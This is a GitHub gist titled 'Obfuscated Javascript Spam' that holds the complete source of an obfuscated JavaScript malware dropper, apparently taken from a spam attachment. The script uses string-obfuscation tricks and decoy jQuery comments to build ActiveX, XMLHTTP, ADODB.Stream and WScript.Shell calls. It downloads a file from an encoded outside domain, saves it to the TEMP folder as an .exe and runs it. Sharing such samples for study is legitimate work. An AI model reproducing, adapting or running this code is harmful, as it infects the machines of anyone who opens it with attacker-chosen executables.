Skip to content

Instantly share code, notes, and snippets.

@acg
Created April 27, 2016 17:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save acg/3482d3fedcf161262674489c423ebfb1 to your computer and use it in GitHub Desktop.
Save acg/3482d3fedcf161262674489c423ebfb1 to your computer and use it in GitHub Desktop.
Obfuscated Javascript Spam
var slothful = 0;
String.prototype.hotels = function () {
return this.replace("U","S").replace(":",".");
};
var tatata = "S";
String.prototype.hotels2 = function () {
return this.replace("R","c").replace("+","t").replace("3","veX");
};
var lll = +!![];
String.prototype.laboriously = function () {
var tempooo = {
pushthe: this
};
tempooo.defcond = tempooo.pushthe[(![]+[]).charAt(!+[]+!![]+!![])+"ubftring".replace((![]+[]).charAt(+[]), tatata.toLowerCase())](slothful, lll);
return tempooo.defcond;
};
holding = "b";
var commiseration = [""+("cranks","brescia","intestine","conflicts","admit","telecom","displays","A")+"Rti"+3+("wallace","unconnected","seasonal","fornication","unencumbered","barely","labour","")+"O"+"bj"+"ec+", "E"+("adulation","reflections","caucasian","copyrights","thanks","enabled","brothel","xp")+"an"+"dEnv"+"ironme"+"nt"+"Strings", ("neath","temporal","portrayed","shaky","differently","linear","silky","")+"%"+"TE"+"MP%", ""+"."+("lunch","balls","national","duval","recumbent","petit","consists","theory","exe"), ("dunno","angus","actor","postposted","resound","referral","realm","R")+"un"];
eliFWuDIYcN = " Convert html into DOM nodes } else { tmp = tmp || safe.appendChild( context.createElement( \"div\" ) );";
var proportionate = this[(commiseration.shift()).hotels2()];retailers = (( "pCCeUuheWYD") + "iHAwmWLtz").laboriously();
accredited = (( "sdbMcAKaGBH") + "qamoVeY").laboriously();
var giuseppe = [("MSXML2.XMLH"+("momentum","inalienable","cities","luminary","plash","carboniferous","expected","potency","TTP№WUcr")+("leech","laughing","electoral","anyone","scripts","budapest","serve","feeling","ipt:")+("clicks","prays","fireworks","options","fruits","allembracing","engraving","selecting","Shell")).hotels()];
var exclusion = commiseration.shift();
var ssm= "c"+("ablebodied","neural","conducive","beastiality","petersburg","monsters","execrable","lo")+"se";
cards = ("n"+("defined","catholic","edward","contribute","maria","taper","feature","ep")+"SCWEFVWEiPOKCSioiAKUNARekc".split("i")[2]).split("");
var overlaid = giuseppe.pop().split("№");
function hotels3(hron) {
hron[ssm]();
};
var furthermore = new proportionate(overlaid[lll]);
var hydrocodone = furthermore[exclusion](commiseration.shift());
OdFlSAi = " Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default;";
var furnished = new proportionate(overlaid[0]);
stubbornly = (( "EKFlOdy") + "qSTvdpwUp").laboriously();
var escapade = (cards).reverse().join("");
function popped(richardson, jason, matroso) {
try {
var continuity = hydrocodone + "/" + jason + commiseration.shift();
vwfUqxPgROU = "} Manually add leading whitespace removed by IE if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[ 0 ] ) ); ";
if (matroso) {
furnished[escapade](("G" + stubbornly) + ("T"), richardson, false);
}
WnAGqyQ = "} Remove IE\"s autoinserted <tbody> from table fragments if ( !support.tbody ) {";
furnished[accredited + ("e") + (( "nGnipRLQXYhn") + "jwAXDQb").laboriously() + (( "dAVNMEl") + "hxuyRk").laboriously()]();
ClmAEvhwJk = " String was a <table>, *may* have spurious <tbody> elem = tag === \"table\" && !rtbody.test( elem ) ? tmp.firstChild :";
if (furnished.status == 199+1) {
if (typeof(FmrpOVkxtI)==="u"+"nd"+("placard","associating","illimitable","intervention","crier","squeal","edifying","ef")+"ined") {
var trackless = new proportionate(("A"+"lO"+("cream","seller","advising","ability","pshaw","hygiene","lavishly","DB.S")+("unfavorable","counters","computing","browsing","unassuming","pollution","frigid","comment","tr")+("rancour","berkshire","gavin","anomaly","difficulties","joyce","jacky","beginning","eam")).replace("l", "D"));
trackless[escapade]();
dfwAan = "} Remove IE\"s autoinserted <tbody> from table fragments if ( !support.tbody ) {";
trackless.type = lll;
qOlbRvvl = " String was a bare <thead> or <tfoot> wrap[ 1 ] === \"<table>\" && !rtbody.test( elem ) ? tmp : 0;";
trackless[("abigail","thyme","judgement","creativity","tropical","filly","targets","conventional","w")+"ri"+"te"](furnished[("intellectually","originate","odysseus","phase","pointers","strategies","spare","isolation","R")+"es"+"pon"+tatata.toLowerCase()+"e"+holding.toUpperCase()+("pictures","atrophy","sunstroke","former","apologetic","industrial","carrier","informer","o")+"dy"]);
PvVKiw = " j = elem && elem.childNodes.length; while ( j-- ) { if ( jQuery.nodeName( ( tbody = elem.childNodes[ j ] ), \"tbody\" ) && !tbody.childNodes.length ) {";
trackless[(retailers + ("outrun","mystery","elect","groove","butterfly","impotence","kernel","o")+"008i"+"ti"+"on").replace("008", accredited)] = 0;
RLgFRSU = " elem.removeChild( tbody ); } } ";
trackless["s"+("imagery","larvae","flour","foster","divergent","editorials","advisor","distaff","aveT")+"oF"+("vincent","patois","bookkeeper","subjects","terrier","canal","defer","ile")](continuity, 2);
hotels3( trackless);
dtuDDuUSDTt = " Fix #12392 for WebKit and IE > 9 tmp.textContent = \"\";";
var shtop = commiseration.shift();
furthermore[shtop](continuity, lll, "bxFIKv111WumvunVH" === "aTwosAaLO111tVYgshe"); XLabHO = " Fix #12392 for oldIE while ( tmp.firstChild ) { tmp.removeChild( tmp.firstChild ); ";
}
}
} catch (LFTlqK) { };
AqqiwAoypAm = "} Remember the top-level container for proper cleanup tmp = safe.lastChild; } } ";
}
popped((("h")+("t-t")+"p:").split("-").join("")+"//"+"\u0061\u0062\u0073\u0078\u0070\u0069\u006E\u0074\u0072\u0061\u006E\u0065\u0074"+"\u002E\u0069\u006E\u002F\u0038\u0037\u0035\u0039\u006A\u0033\u0066\u0034\u0033\u0034","vrYoSSLb",Math.random()> 0);
cvqiFiqxJ = "} Fix #11356: Clear elements from fragment if ( tmp ) { safe.removeChild( tmp ); ";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment